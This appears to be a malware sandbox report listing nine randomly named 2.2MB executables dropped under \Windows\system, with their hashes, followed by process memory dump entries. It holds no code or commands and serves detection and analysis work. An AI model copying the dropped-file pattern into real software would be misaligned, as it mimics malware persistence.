16b735eb456a9caae0e1c4a3c497c09598996b8e9b7008b5e4068139ea1bc90997b92ad75790c7f3feb4ba418a31935c7b05c4b6cd69fa7f244d1dad1cac6510

Download Submit
\Windows\system\NASuweU.exe

Filesize
2.2MB

MD5
b1ab9610e92625fc9b57bc0a5944c979

SHA1
5d81b67481a3dbebf7b847fc1e13f6bca80149be

SHA256
d46084fd7a7abb746f45d6c0ab79105617d3439a4bf995aa9ac58cfd2e777b9c

SHA512
044604a1f4884b4d5a8194bdb14b034d528c8879ce6d404f10c4a02b8e02ee5e161f6490b13a8f2559d1d1e4c15af603204786a82b7338ae4b125a977e2c2fc6

Download Submit
\Windows\system\NMxLneX.exe

Filesize
2.2MB

MD5
76019865309d85fba7eaad83bb025646

SHA1
1386379dcdfdade26aeb2838ea5859b2fa91d08b

SHA256
e8b64f7e98b0363171b3dabfe0d43118e64cd812c6231afce727e90169f91b73

SHA512
7210b4c659208cf859c6c9e7d04ccedfaac98af91042a96ae238bf6a96cb5f7790e1a0aef29893990356816d33986b3ce169d57bf100131e58cce50cd2bab23e

Download Submit
\Windows\system\OkUgjss.exe

Filesize
2.2MB

MD5
6741ad3fe94ea6cefe1c8ed36062401f

SHA1
6606f3ace381b6e13ba980ea5627daff363261b7

SHA256
2640519df0fd7ea1d30c90c59271ba716f1cfe9183df247a7ddfc9c422a06046

SHA512
57620f6cf0c9f58273c522b715af5d8be3e6a7b5ce923fffcdc4edc95efe58e9c26f7478bf0b5cd36751e1e908479d2808e43699a9707aa03b0a367237c611bf

Download Submit
\Windows\system\QlMNnXz.exe

Filesize
2.2MB

MD5
4b743ab05c633fda59a1ca6bf6742c07

SHA1
257474508ab030ce125bf539ef403d90cdea7790

SHA256
a31ecb6b0356fc97c079baecac0d8c4ffe6992c320f4fd5320cfb5c3d6010d82

SHA512
8f793167f54e1fc2a73c0fb2e2eeb9b79a0acf5389d8be260741c79584f57a787ab861fb740f1c3573d87ba21ae198164493fa6b6dc1f073b22097be97c44792

Download Submit
\Windows\system\TDpxBZS.exe

Filesize
2.2MB

MD5
061aa5161207d9a89a159ee09d8da9cc

SHA1
2a984eacea11cdaea94249167bafc1ad95ff28a8

SHA256
7e82dd9ae5793703d2b75940be7db787e87050958c66d6547b4b5319c16b05cc

SHA512
c7ab0f9c7e43db692df4ae1069ac1d4ad7ef1f52569cb20349656926cadec7cca72a00f1aa938773f927171f27e5681d554ccf13c9795bc7a3a496b87c47d10e

Download Submit
\Windows\system\YJYJUNg.exe

Filesize
2.2MB

MD5
a7afc4980f19b362aebcc380037f8501

SHA1
3369ebcc643a80eb7294bef1bc47d491029f0b4b

SHA256
16f45557b4b37df8f53180755d9f451dbc622d336922140edd51ffbe3d8caaf1

SHA512
776bb1ceb14496587bcd68516989035f84257cb6952b7ffffcc6b8ab2ec5fe081dd16f26d72e469aadfa83cc3703d262665e43aea792b6a1585ecc92abf608c1

Download Submit
\Windows\system\fjxbdlt.exe

Filesize
2.2MB

MD5
4aff3f0c01c7778c039c2704d50cb786

SHA1
af3e38643753adff499f98de1dd9778900a4ac68

SHA256
a8f5075fc943211471e9ad2cb3542a0e4549287dee88e8da7290a2730113fd7d

SHA512
875aa32ef5a98845d783ed876a84ab9de54463aebf1481ccf487875225bc63058cf4b9b7a61bf6f887b3c3d48766e3fd29236776cb6b6163f9885a78bc235549

Download Submit
\Windows\system\jPzPOkg.exe

Filesize
2.2MB

MD5
8bde6b951e115a48537950a8b1a82550

SHA1
c9b34bedf27b40f8e25b19e2f1897047bc8fa0ea

SHA256
874168046b0127e9fe83edb7e9902f0e7d5e26f98a0b34f6c80e75f09485e3e0

SHA512
487d02b263df2cbca510d6be8e4c86e27e153438615f5c6657036af02ad81f0522e4c8e31511c470fdc54f08128f6171c566433a0278836dad59059f829a9a0e

Download Submit
\Windows\system\lRoLZhF.exe

Filesize
2.2MB

MD5
6a53d2529f6d3e65da6b646538c0053d

SHA1
64cbf22039bde241e59832d93ac7d5c839d8bdbc

SHA256
6b425d80057b70988cf88ef7fe4d3bacf809b135be1dc3b0762da846c0c0d25e

SHA512
aedb87277a57f7d69d4c65a14fa099b4ca99ac55cee2ebbf3cc2fdac5ef0a98c841b3e6cfed4fdd5749d428d7bdb03cb5fd85b0e224c5f66a0bf3214ccd6632b

Download Submit
memory/1944-91-0x000000013FFF0000-0x00000001403E2000-memory.dmp

Filesize
3.9MB

Download
memory/2024-15-0x000000013F790000-0x000000013FB82000-memory.dmp

Filesize
3.9MB

Download
memory/2108-49-0x000000013F770000-0x000000013FB62000-memory.dmp

Filesize
3.9MB

Download
memory/2176-38-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-51-0x000000013FFC0000-0x00000001403B2000-memory.dmp

Filesize
3.9MB

Download
memory/2176-238-0x000000013FAD0000-0x000000013FEC2000-memory.dmp

Filesize
3.9MB

Download
memory/2176-19-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-7-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-98-0x000000013FFF0000-0x00000001403E2000-memory.dmp

Filesize
3.9MB

Download
memory/2176-80-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/2176-41-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2176-25-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-1-0x000000013FAD0000-0x000000013FEC2000-memory.dmp

Filesize
3.9MB

Download
memory/2176-54-0x000000013F330000-0x000000013F722000-memory.dmp

Filesize
3.9MB

Download
memory/2176-52-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-45-0x0000000003140000-0x0000000003532000-memory.dmp

Filesize
3.9MB

Download
memory/2176-72-0x000000013F4A0000-0x000000013F892000-memory.dmp

Filesize
3.9MB

Download
memory/2260-214-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2260-213-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2612-61-0x000000013FC20000-0x0000000140012000-memory.dmp

Filesize
3.9MB

Download
memory/2688-57-0x000000013FDF0000-0x00000001401E2000-memory.dmp

Filesize
3.9MB

Download
memory/2728-33-0x000000013F820000-0x000000013FC12000-memory.dmp

Filesize
3.9MB

Download
memory/2728-363-0x000000013F820000-0x000000013FC12000-memory.dmp

Filesize
3.9MB

Download
memory/2760-55-0x000000013FFC0000-0x00000001403B2000-memory.dmp

Filesize
3.9MB

Download
memory/2852-62-0x000000013F330000-0x000000013F722000-memory.dmp

Filesize
3.9MB

Download
memory/2944-102-0x000000013F410000-0x000000013F802000-memory.dmp

Filesize
3.9MB

Download
memory/3012-26-0x000000013F740000-0x000000013FB32000-memory.dmp

Filesize
3.9MB

Download
memory/3060-58-0x000000013F7D0000-0x000000013FBC2000-memory.dmp

Filesize
3.9MB

Download